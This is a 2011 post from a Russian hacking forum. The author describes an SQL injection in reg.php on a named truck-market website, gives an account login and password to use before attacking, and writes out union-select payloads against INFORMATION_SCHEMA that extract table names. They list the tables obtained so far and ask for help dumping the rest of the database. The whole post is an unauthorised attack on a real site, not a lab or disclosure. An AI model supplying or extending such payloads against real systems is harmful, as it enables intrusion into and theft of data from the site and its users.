Ваши вопросы по уязвимостям.

#11

14.03.2011, 00:42

Oza

Познающий

Регистрация: 20.01.2009

Сообщений: 48

С нами: 9109061

Репутация: 9

Имеется sqli в mssql без вывода ошибки.

Сайт: www.truck market.ru

Перед проведением атаки следует вторизоваться тут: http://www.truckmarket.ru/enter.php. Например по этому акку: login:a1840198 pass:a1840198

sqli:

Цитата:

Сообщение от None

/reg.php?id=355569+and+1=1

По логике: если запрос верен - в текстбокстах отображается уже имеющаяся инфа.

Ступор на получении списка таблиц. Получаем одну так:

Цитата:

Сообщение от None

/reg.php?id=355569+union+select+top+1+1,2,3,4,5,6,7 ,cast%28table_name+as+binary%29,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34+FROM+INFORMATION_SCHEMA.TABLES

Далее пробую сначала брать следующию так:

Цитата:

Сообщение от None

/reg.php?id=355569+union+select+top+1+1,2,3,4,5,6,7 ,cast%28table_name+as+binary%29,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABL E_NAME%3E%27mb_spare_ua%27

Цитата:

Сообщение от None

Но удается выудить только три, потом идет повтор:

Цитата:

Сообщение от None

mb_spare_ua
mboards
MbTopics_ForDel
MbTopics_ForDel
...

Цитата:

Сообщение от None

Опять повтор. Почитал доки. select top - возвращает случайныую запись. Умельцы как-то убирают случайность, добовляя в конец order+by+. Но я не докурил как =(

Подставляя случайные слова в первый методе смог получить вот такой список таблиц:

Цитата:

Сообщение от None

MbTopics_ForDel
WebService
WebServiceClient
WindRose
mb_spare_ua
mboards
ATIForums_Forum
Кузова
Марки транспорт
RegionCodes
WarnTypes
MSP_TIMEPHASED_DATA --(Вывело MSP_TIMEPHASED_, но гугл указал что это дефолт таблица MSP_TIMEPHASED_DATA)
ways
waysinfo

Как вытащить все таблицы? Мне бы увидеть пример имуляции limit, вывести колонки и инфу думаю смогу сам.

p.s

Проблема с данной уязвимостью, уже постилась на rdot.org

Но 2ва дня не кто помочь не может.